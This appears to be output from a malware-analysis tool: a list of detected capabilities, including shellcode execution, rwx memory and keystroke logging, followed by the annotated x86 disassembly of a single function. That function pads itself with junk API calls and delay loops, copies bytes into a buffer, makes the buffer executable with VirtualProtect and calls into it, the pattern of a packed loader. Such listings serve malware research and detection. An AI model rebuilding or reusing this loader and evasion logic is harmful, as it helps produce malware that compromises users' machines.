Function at 0x405530
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Log keystrokes via polling
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x422004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov edi, 0x3661b338
jmp 0x405560
cmp dword [0x46a14c], 0xc31
jne 0x405570
push 0
call ebx
call esi
dec edi
jne 0x405560
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ebx, ebx
xor esi, esi
nop
cmp esi, 0x562d05
jne 0x405592
mov eax, dword [0x423924]
mov dword [0x46a4d4], eax
cmp dword [0x46a14c], 0x3c
jne 0x40559e
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x405580
cmp dword [0x46a14c], 0x7c
jne 0x405609
push ebx
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp dword [0x46a14c], 0x2d
jne 0x405609
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
cmp dword [0x46a14c], 0x110a
jne 0x405676
lea edx, [ebp - 0x408]
push edx
lea eax, [ebp - 0x404]
push eax
push ebx
mov dword [0x46a140], ebx
mov dword [0x46a144], ebx
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.wocugu_gadozamegosixakix
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
add esp, 0x18
call fcn.004052c0
xor esi, esi
cmp dword [0x46a14c], ebx
jbe 0x4056d3
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
jmp 0x405690
mov ecx, dword [0x46a4d4]
mov dword [ebp - 0x408], ecx
mov eax, 0xa231
add dword [ebp - 0x408], eax
cmp dword [0x46a14c], 0x5ab
mov edx, dword [ebp - 0x408]
mov al, byte [edx + esi]
mov ecx, dword [0x469e70]
mov byte [ecx + esi], al
jne 0x4056ca
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x46a14c]
jb 0x405690
call fcn.004052f0
mov eax, dword [0x46a14c]
mov ecx, dword [0x469e70]
lea edx, [ebp - 0x40c]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004054c0
call fcn.004052e0
mov ebx, dword [ebp - 0x434]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea esp, [esp]
push 0
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x405728
cmp ebx, 0xf5bed7
jne 0x405731
inc esi
cmp esi, 0x1ece7a52
jl 0x405710
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
xor esi, esi
nop
cmp esi, 0x12e6c3
jne 0x40574d
call fcn.004052b0
cmp dword [0x46a14c], 0x3dc
mov dword [0x469e74], 0x8e46a6f0
jne 0x405781
xor edx, edx
lea ecx, [ebp - 0x410]
push ecx
push edx
push edx
push edx
push edx
mov dword [ebp - 0x408], edx
call edi
lea eax, [ebp - 0x414]
push eax
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405740
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret